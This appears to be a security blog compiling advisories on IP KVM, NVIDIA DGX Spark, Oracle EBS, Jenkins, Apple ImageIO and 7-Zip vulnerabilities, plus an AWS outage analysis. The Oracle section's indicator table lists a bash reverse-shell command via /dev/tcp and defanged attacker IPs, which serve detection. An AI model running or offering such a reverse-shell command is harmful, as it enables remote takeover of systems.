Severe vulnerabilities found in IP KVM may allow unauthenticated hackers to gain root access or run malicious code on them.These vulnerabilities have CVSS scores ranging from 3.1 to 9.8.
There are great risks associated as a low-cost device have the ability to provide insiders and hackers unusually broad powers in networks that are often not so secured or vulnerable. Recently researchers from security firm Eclypsium disclosed a total of nine vulnerabilities in IP KVMs from four manufacturers.
IP-KVMs
When a device sell for $30 to $100, are known as IP KVMs. Administrators often use them to remotely access machines on networks. The devices, not much bigger than a deck of cards, allow the machines to be accessed at the BIOS/UEFI level, the firmware that runs before the loading of the operating system.
Risk Associated with IP KVM
If hackers get hands of they might misuse capabilities even in a secured network. Risks are posed when the devices are exposed to the web or internet—are deployed with weak security configurations or surreptitiously connected to by insiders. Firmware vulnerabilities also leave them open to remote takeover.
Its easy for attackers to manipulate device behavior by overwriting configuration files or system binaries, by an attacker can manipulate the device’s behavior. subsequently gain unauthorized access and use the KVM as a pivot point to compromise any target machine connected to it.
“These are not exotic zero-days requiring months of reverse engineering,” Eclypsium researchers Paul Asadoorian and Reynaldo Vasquez Garcia wrote. “These are fundamental security controls that any networked device should implement. Input validation. Authentication. Cryptographic verification. Rate limiting. We are looking at the same class of failures that plagued early IoT devices a decade ago, but now on a device class that provides the equivalent of physical access to everything it connects to.”
Analysis:
The vulnerabilities are catalogued as CVE-2026-32290, CVE-2026-32291, CVE-2026-32292, CVE-2026-32293, CVE-2026-32294, CVE-2026-32295, CVE-2026-32296, CVE-2026-32297 and CVE-2026-32298, with CVSS scores ranging from 3.1 to 9.8 and some fixes already in place (for example, JetKVM updates and NanoKVM versions) while others remain unpatched.
The analysis notes that an attacker could inject keystrokes, boot from removable media to bypass protections, circumvent lock screens, or remain undetected by OS-level security software, given the devices’ remote BIOS/UEFI access.
Threat Mitigation
Mitigations include enforcing MFA where supported, isolating KVM devices on a dedicated management VLAN, restricting internet access, monitoring traffic, and keeping firmware up-to-date, according to Eclypsium.
This vulnerability alone dictates the term immediate network isolation of any deployed Angeet ES3 device.
Requirement of Robust firmware validation and strong access controls
For robust Firmware validation, testing is must but here testing do not imply checking if the coding is working or not. Instead it is a systematic process of assessing whether firmware meets the defined specifications and quality standards.
We have BI and Data Analytics to redefined outcomes of testing and are measured, with key performance indicators (KPIs) drawn from vast amounts of operation data stored in testing logs and real-time deployment environments.
Summary : NVIDIA DGX Spark GB10 firmware vulnerabilities including CVE-2025-33187, CVE-2025-33188, CVE-2025-33189 & 11 more CVEs can Execute Malicious Code and DoS Attacks. Systems running DGX OS versions prior to OTA0 are affected. Immediate upgrade to OTA0 is strongly advised.
OEM
NVIDIA
Severity
Critical
CVSS Score
7.5
CVEs
CVE-2025-33187, CVE-2025-33188, CVE-2025-33189 & 11 more CVEs
POC Available
No
Actively Exploited
No
Exploited in Wild
No
Advisory Version
1.0
Overview
NVIDIA has released a security update addressing 14 vulnerabilities in the NVIDIA DGX Spark firmware, a high-performance AI workstation for machine learning and model training.
These vulnerabilities enable attackers with local access to bypass protections and manipulate firmware and hardware controls. Exploitation could lead to unauthorized code execution, data tampering, system disruption, and exposure of sensitive AI data.
Vulnerability Name
CVE ID
Product Affected
Severity
CVSS
Fixed Version
SoC Access Bypass Vulnerability via SROOT
CVE-2025-33187
NVIDIA DGX Spark
Critical
9.3
OTAO
Hardware Control Tampering Vulnerability
CVE-2025-33188
NVIDIA DGX Spark
High
8.0
OTAO
Out-of-Bounds Write Vulnerability in SROOT
CVE-2025-33189
NVIDIA DGX Spark
High
7.8
OTAO
Technical Summary
The NVIDIA DGX Spark GB10 firmware vulnerabilities primarily affect SROOT, OSROOT and hardware controls, enabling local attackers to bypass SoC protections for code execution, data tampering, information disclosure, denial of service and privilege escalation.
Critical flaws like out-of-bounds writes and hardware tampering allow memory corruption and system manipulation, while medium/low issues involve improper input handling, memory reads and resource reuse that risk data leaks or crashes.
All versions prior to OTA0 are vulnerable and security patch released fully addresses these risks.
CVE ID
Vulnerability Details
Impact
CVE-2025-33187
SROOT vulnerability allows attackers to access SoC-protected memory regions using privileged access
Code execution, privilege escalation
CVE-2025-33188
Hardware controls can be tampered with due to improper authorization enforcement
Information disclosure, DoS
CVE-2025-33189
Out-of-bounds writing in SROOT firmware enables memory corruption
Code execution, privilege escalation
Other Vulnerabilities:
These other vulnerabilities are medium & low severity issues that may cause data leaks, system errors or minor disruptions.
Vulnerability Name
CVE ID
Description
Severity
CVSS
Impact
Out-of-Bounds Write Vulnerability
CVE-2025-33190
This vulnerability may allow unintended modification of system data
Medium
6.7
Code execution, Privilege escalation
Invalid Memory Read vulnerability in OSROOT
CVE-2025-33191
Error in memory handling can crash system
Medium
5.7
Denial of service
Arbitrary Memory Read vulnerability
CVE-2025-33192
Unauthorized access to stored information
Medium
5.7
Info disclosure, DoS
Integrity Validation Failure vulnerability
CVE-2025-33193
Firmware integrity checks can be bypassed
Medium
5.7
Code execution, info leak
Input Processing Issue
CVE-2025-33194
Faulty input handling reveals internal data
Medium
5.7
Info disclosure, DoS
Unexpected Buffer Operations
CVE-2025-33195
Memory mishandling leads to data modification
Medium
4.4
Data tampering, DoS
Resource Reuse Exposure
CVE-2025-33196
Reused firmware resources reveal sensitive data
Medium
4.4
Information disclosure
NULL Pointer Dereference
CVE-2025-33197
System crashes due to improper pointer handling
Medium
4.3
DoS, possible code execution
Resource Reuse vulnerability
CVE-2025-33198
Unintended reuse of resources leaks data
Low
3.3
Information disclosure
Incorrect Control vulnerability
CVE-2025-33199
System behavior can be manipulated
Low
3.2
Data tampering
Resource Reuse vulnerability
CVE-2025-33200
Data exposure due to resource reuse
Low
2.3
Information disclosure
Remediation:
Upgrade all NVIDIA DGX Spark systems to DGX OS OTA0 or the latest fixed version.
Conclusion:
The discovery of 14 critical vulnerabilities in the NVIDIA DGX Spark firmware provides a stark reminder that advanced hardware requires strict security practices round the clock.
These vulnerabilities pose a significant security risk to organizations using NVIDIA DGX Spark for AI or ML workloads. If exploited, attackers could gain deep hardware-level access, risk confidential AI datasets, system stability and training integrity. Immediate upgrading to OTA0 to mitigate all the vulnerabilities.
The recent disruption that sparked world wide impact and effect is the AWS outage. The AWS (Amazon web services) disruption happened on October 20, 2025, centered on its “US‑EAST‑1” cloud region . The disruption triggered a series of failures and disrupted normal working of number of consumer apps, finance, government portals and parts of Amazon’s own services.
The AWS outage a case of internet outage, impacted over disruptions at over 3,500 companies across more than 60 countries, placing this among the largest internet outages on record for Downdetector.
Now the crucial question that hovers the mind is how the disruption affected digital services and what does this means to organizations relying on third party cloud service providers, to developers and other who are in the ecosystem and rely on AWS service that run uptime.
AWS covers 30% of the global cloud infrastructure market and such a kind of disruption is hard for the world relying on AWS infra. Many global apps and websites rely heavily on AWS for cloud hosting and data processing, which means the disruption can rapidly become widespread and create a knock out effect to many services and businesses to return to normal may witness challenege.
Origin of the AWS incident:
The incident originated in the US-EAST-1 (Northern Virginia) region one of AWS’s oldest and most heavily utilized hubs — and impacted key services such as DynamoDB, EC2, Lambda, and SQS.
As services in all these started failing the spread was wide and impacted AWS’s internal infrastructure and external applications, affecting end-user experiences who were on Snapchat, Pinterest, Fortnite, Signal etc. Earlier it happened in the same region US-East-1. If we go by history (2017, 2021 & 2023).
The outage echoes shed light on the most crucial point, i.e. over reliance on single point of cloud infrastructure. AWS pointed on DNS issues and admitted global services or features that rely on US-EAST-1 endpoints, such as IAM updates and DynamoDB Global tables, “may also be experiencing issues.”
DNS Issue resolved as per AWS:
After the disruption and AWS says the DNS issue has “been fully mitigated”, and most AWS Service operations are succeeding normally now. However, it added that some requests may be throttled “while we work toward full resolution.”
Technical Analysis AWS Disruption:
The investigation revealed how a control plane failure in the US-EAST-1 region, triggered by an unexpected behavior within AWS’s internal load balancing and routing layer. So a configuration change happened in the service responsible for metadata and service discovery propagated inconsistently.
This lead to authentication and routing failures for dependent instances and services which further expanded and caused choke and resource exhaustion across interdependent services like EC2, Lambda, and S3, all of which rely on low-latency internal communication.
The largest hit services
The heaviest‑hit services by report count included Snapchat (~3M), AWS itself (~2.5M), Roblox (~716k), Amazon retail (~698k), Reddit (~397k), Ring (~357k) and Instructure (~265k). The UK alone generated more than 1.5M reports, far exceeding a typical day’s ~1M global baseline across all markets, highlighting both the unique intensity and breadth of this event.
All apps we are using are mostly chain together managed services like storage, queues, and serverless functions. If DNS cannot reliably resolve a critical endpoint (for example, the DynamoDB API involved here), errors cascade through upstream APIs and cause visible failures in apps users do not associate with AWS. That is precisely what Downdetector recorded across Snapchat, Roblox, Signal, Ring, HMRC, and others.
Cloud infrastructure should be of national importance
The AWS outage/ disruption highlighted how cloud infrastructures are not risk free and over dependence eon single point. Any fault in the infrastructure stack on which everything else depends and from which failures can trigger and subsequent redundancy.
The need of the hour is to recognize that Cloud infrastructure should be of national importance and any failure on the entire stack can be overcome with systematic approach. This will require by pulling down or dismantling each part and diversify the route so that on event of outage , the rest of the part of can be recovered by not depending on single point of the platform.
Organizations relying solely on a single AWS region or without robust multi-region, multi-cloud, or hybrid failover mechanisms faced significant downtime and operational risk, a wake up call for governments.
Various government across Europe recognized the risk associated with cloud infrastructure introduced policy’s for e.g., EU’s flagship Digital Operational Resilience Act (DORA) introduces EU-level oversight of critical ICT third-party providers, while the UK’s Critical Third Parties act for finance. These tool kits will act as balancers when it comes to reporting, stress management, incident reporting and adhering to transparency that is required as mandate.
Why Network resilience is important ?
The AWS disruption highlighted importance of network resilience. The reason being network resilience prevents single points of failure with backup systems and alternative pathways. Further this helps to adapt to sudden increases in demand without degrading performance. At the same time efficiently reallocates resources and adapts to changing conditions.
Summary : Security Advisory: Clop Ransomware aimed at extortion of emails targeting customers of Oracle E-Business Suite. The zero-day vulnerability affected Oracle EBusiness Suite (EBS), specifically the Concurrent Processing component used with BI Publisher Integration and is remotely exploitable without authentication. This allows attackers to execute arbitrary code via HTTP.
OEM
Oracle
Severity
Critical
CVSS Score
9.8
CVEs
CVE-2025-61882
POC Available
Yes
Actively Exploited
Yes
Advisory Version
1.0
Overview
Oracle released an emergency patch and Clop ransomware group actively exploited this flaw in real-world data theft campaigns targeting vulnerable versions using by the organizations.
All EBS versions from 12.2.3 to 12.2.14 are affected and immediate patching requires mitigate the vulnerability.
Vulnerability Name
CVE ID
Product Affected
Severity
Affected Version
RCE vulnerability in Oracle E-Business Suite
CVE-2025-61882
Oracle E-Business Suite
Critical
12.2.3 through 12.2.14
Technical Summary
The vulnerability allows attackers to gain remote code execution by sending specially crafted HTTP requests to exposed Oracle EBS services. Once exploited, it enables full system compromise, including reverse shell access. The vulnerability has been using by Clop ransomware group in conjunction with other previously known EBS flaws to exfiltrate sensitive data and extort victims. Indicators of compromise (IoCs) such as malicious IPs, shell commands, and exploit files have been published to help organizations detect past intrusions.
Oracle’s fix includes the patch for this flaw but also mitigates additional exploitation paths identified during their internal investigation.
CVE ID
Component Affected
Vulnerability Details
Impact
CVE-2025-61882
BI Publisher Integration
A critical unauthenticated RCE in Oracle EBusiness Suiteaffecting the Concurrent Processing/BI Publisher integration.
Full system compromise, data theft.
Recommendations
Users And Administrators should immediately apply the Security Patch for CVE202561882 on all affected Oracle E-Business Suite systems:
Log in to My Oracle Support.
Use the patch availability document & search for the patch specific to CVE-2025-61882 for your OS and Oracle EBS version.
Prerequisite: Ensure the October 2023 Critical Patch Update (CPU) is already installed.
Here are some recommendations below
If immediate patching is not possible, restrict HTTP/HTTP/HTTPS access to the EBS application from untrusted networks.
Review server logs, network traffic and system processes to detect signs of exploitation.
Monitor for known Indicators of Compromise (IoCs) provided by Oracle from the table below.
IOCs
Indicator
Type
Description
200[.]107[.]207[.]26
IP
Potential GET and POST activity
185[.]181[.]60[.]11
IP
Potential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1
Command
Establish an outbound TCP connection over a specific port
Conclusion: This is the ongoing threat exploitation by the ransomware group, particularly for unpatched Oracle EBS deployments.
As this is being actively exploited in the wild, upgrade to the supported patched version and organizations should also review logs, investigate for signs of compromise using Oracle’s IoCs, and strengthen network access controls around EBS systems. Immediate action is required to reduce the risk of further exploitation, data loss and operational disruption.
Security advisory: Jenkins addressed critical security flaws in its built-in HTTP server related to the handling of HTTP/2 connections, where attackers could overwhelm servers causing denial of service. This mainly impacts Jenkins instances running with HTTP/2 enabled, which is not the default setting.
Jenkins, a popular open-source automation server used for building and deploying software, recently patched several high & medium security flaws.
The high severity issue is a Denial-of-Service (DoS) vulnerability that could allow attackers to overwhelm the server and make it stop working properly even without needing to log in.
Other issues included the risk of unauthorized users viewing sensitive configuration information and the possibility of attackers inserting fake log entries to confuse system administrators. Jenkins released updates to fix these issues and strongly recommends users upgrade to the latest versions to stay protected.
Vulnerability Name
CVE ID
Product Affected
Severity
Fixed Version
HTTP/2 Denial of Service in bundled Jetty
CVE-2025-5115
Jenkins (bundled Jetty)
High
Weekly 2.524+, LTS 2.516.3+
Missing permission check – agent names
CVE-2025-59474
Jenkins core
Medium
Weekly 2.528+, LTS 2.516.3+
Missing permission check – user profile menu
CVE-2025-59475
Jenkins core
Medium
Weekly 2.528+, LTS 2.516.3+
Log Message Injection Vulnerability
CVE-2025-59476
Jenkins core
Medium
Weekly 2.528+, LTS 2.516.3+
Technical Summary
Additionally, permission checks in some user interface areas were incomplete, allowing unauthorized users to access sensitive information such as agent names and configuration details.
There was also a vulnerability in log message processing that could let attackers insert misleading entries to confuse administrators. All the issues are fixed in Jenkins latest version.
CVE ID
System Affected
Vulnerability Details
Impact
CVE-2025-5115
Jenkins instances with embedded Jetty server with HTTP/2 enabled
It causes the Jetty server to repeatedly reset HTTP/2 streams (RST_STREAM) in response to malicious or malformed frames, leading to resource exhaustion and potential denial of service.
Denial of service
CVE-2025-59474
Jenkins automation server
Permission check flaw allowing unauthorized users to view Jenkins agent/executor names via the side panel executor’s widget
Information Disclosure
CVE-2025-59475
Jenkins automation server
Permission check flaw allowing authenticated users without Overall/Read permission to view sensitive configuration details via the Jenkins user profile dropdown menu.
Information Disclosure
CVE-2025-59476
Jenkins automation server
An attacker can inject line breaks into Jenkins log messages, leading to forged or misleading log entries.
Misleading administrators
Remediation:
Users should immediately install the latest, patched version of Jenkins on all servers:
Weekly Release: Update to Jenkins v2.528 or later.
Long-Term Support (LTS): Update to Jenkins v2.516.3 or later
Here are some recommendations below.
If immediate upgrade is not possible, users should disable HTTP/2 to mitigate the Denial-of-Service vulnerability.
Always keep Jenkins core and plugins up to date with the latest security patches.
Regularly audit and monitor access logs and system activity
Conclusion: These security flaws could seriously impact Jenkins users, especially those relying on it for continuous integration and deployment. The DoS vulnerability is particularly dangerous because it can be triggered by anyone over the internet, even if they don’t have an account.
Enterprise admins & users should upgrade immediately to the patched versions or disable HTTP/2 to reduce the risk. Keeping Jenkins up to date and following good security practices along with restricting user permissions and monitoring logs is essential to prevent attacks and maintain the stability and safety of software delivery pipelines.
Security Advisory : Apple has released critical security patches to address a newly discovered zero-day vulnerability, CVE-2025-43300, that was found to be actively exploited in targeted attacks.
To protect users, Apple has issued patches in iOS 18.6.2, iPadOS 18.6.2, iPadOS 17.7.10 and the latest macOS versions.
OEM
Apple
Severity
High
CVSS Score
8.8
CVEs
CVE-2025-43300
POC Available
No
Actively Exploited
Yes
Exploited in Wild
Yes
Advisory Version
1.0
Overview The vulnerability resides in Apple’s ImageIO framework, which is used for handling image files across iOS, iPadOS, and macOS platforms. According to Apple, the flaw may have been used in sophisticated, targeted attacks, although exact details have not been disclosed.
The vulnerability affects a wide range of devices, including iPhones starting from the XS, multiple iPad models and Macs running macOS Ventura, Sonoma and Sequoia. This marks the seventh zero-day exploited in the wild that Apple has addressed in 2025, underscoring the increasing frequency and severity of threats targeting Apple users.
The vulnerability, CVE-2025-43300, is classified as an out-of-bounds write issue within the ImageIO framework.
It can be exploited when a specially crafted image file is processed, causing memory corruption that could allow an attacker to execute arbitrary code on the affected device.
This makes it a critical security flaw, particularly because the attack vector image files are common and often considered low risk. Apple has mitigated vulnerability by improving bounds by checking in the affected code.
The exploitation of this bug in the wild indicates a high level of sophistication, likely by advanced persistent threat actors targeting specific individuals. The technical nature of the bug aligns with a broader trend in which attackers exploit flaws in media-handling components to achieve remote code execution. As such, this patch not only fixes a critical issue but also highlights the need for continued vigilance and timely system updates.
CVE ID
System Affected
Vulnerability Details
Impact
CVE-2025-43300
iPhones, iPads, Macs.
Critical out-of-bounds write vulnerability in Apple’s ImageIO framework that allows remote code execution by processing a malicious image. It has been actively exploited in highly targeted attacks on iOS, iPadOS, and macOS devices, prompting urgent patches.
Remote code execution via malicious image zero-click attack surface
Apple has so far fixed a total of seven zero-day vulnerabilities in 2025 that were actively exploited in real-world attacks, including CVE-2025-43300, reflecting an ongoing effort to patch critical security flaws across iOS, iPadOS, and macOS platforms.
CVE-2025-24085: A memory corruption flaw in WebKit that could allow remote code execution via malicious web content.
CVE-2025-24200: An elevation of privilege vulnerability in the kernel, enabling attackers to gain higher system privileges.
CVE-2025-2420: A logic issue in the kernel that could lead to arbitrary code execution by a malicious app.
CVE-2025-31200: A vulnerability in the CoreGraphics framework allowing remote code execution when processing malicious PDF files.
CVE-2025-31201: An issue in the IOMobileFrameBuffer kernel extension that could permit a local attacker to escalate privileges.
CVE-2025-43200: A flaw in the AppleAVD driver leading to a potential kernel privilege escalation.
CVE-2025-43300: An out-of-bounds write vulnerability in the ImageIO framework actively exploited through malicious images, enabling remote code execution.
Remediation:
Update your Apple devices immediately to the latest patched versions:
iPhone – iOS 18.6.2
iPad – iPadOS 18.6.2/17.7.10
macOS – macOS Ventura 13.7.8, Sonoma 14.7.8 or Sequoia 15.6.1.
Conclusion: Apple has urgently patched seven critical zero-day vulnerabilities in 2025, including CVE-2025-43300, that were actively exploited in targeted attacks.
Users are strongly advised to update their devices immediately to stay protected against these serious threats.
In addition, CISA has added CVE-2025-43300 to its Known Exploited Vulnerabilities (KEV) Catalog under BOD 22-01, requiring federal agencies to remediate the flaw within specified timelines.
While the directive is mandatory for federal agencies, CISA strongly urges all organizations to prioritize remediation of KEV-listed vulnerabilities to reduce their exposure to active threats.
A vulnerability in 7-Zip (versions before 25.01) allows attackers to abuse symbolic links in archive files to write files outside the intended extraction directory.
Severity
Low
CVSS Score
3.6
CVEs
CVE-2025-55188
POC Available
No
Actively Exploited
No
Exploited in Wild
No
Advisory Version
1.0
Overview
This can lead to overwriting sensitive files, potentially enabling code execution or privilege escalation. The flaw is primarily exploitable on Linux systems due to common file permission models but can also impact Windows under specific conditions. Affected archive formats include ZIP, TAR, 7Z and RAR.
The security flaw was reported and discoverd by security researcher lunbun, who identified that 7-Zip fails to properly validate symbolic links when extracting certain archive formats.
Vulnerability Name
CVE ID
Product Affected
Severity
Fixed Version
7-Zip Arbitrary File Write via Symbolic Link Flaw
CVE-2025-55188
7-Zip
Low
25.01 and later.
Technical Summary
Cause: Improper validation of symbolic links during archive extraction.
Attack Vector: Malicious archives can contain symlinks pointing outside the extraction directory.
Impact: Overwrites arbitrary files on the system. On Linux, this can replace startup scripts, configuration files, or binaries to gain elevated privileges. On Windows, exploitation requires write access to target paths.
Affected Formats: ZIP, TAR, 7Z, RAR.
CVE ID
CVSS Score
System Affected
Vulnerability Details
Impact
CVE-2025-55188
3.6
Linux, Windows 7-Zip versions
7-Zip mishandles symbolic links in archives, letting attackers write files anywhere on the system during extraction.
Code execution, Privilege escalation
Recommendations:
Here are some recommendations below
Update 7-Zip to version 25.01 or latest one.
Avoid extracting archives from untrusted sources.
Always consider using sandboxed environments for unknown files extraction.
Conclusion: While CVE-2025-55188 carries a low CVSS score, the real-world impact can be severe in certain environments, especially on Linux systems with high-privilege extraction processes.
Immediate patching to 7-Zip 25.01 or later is strongly advised to mitigate the risk of arbitrary file overwrite attacks.
The researcher has submitted a request for reevaluation of the CVSS score and offered to provide proof-of-concept demonstrations to package repository maintainers who require additional verification.
Recent Comments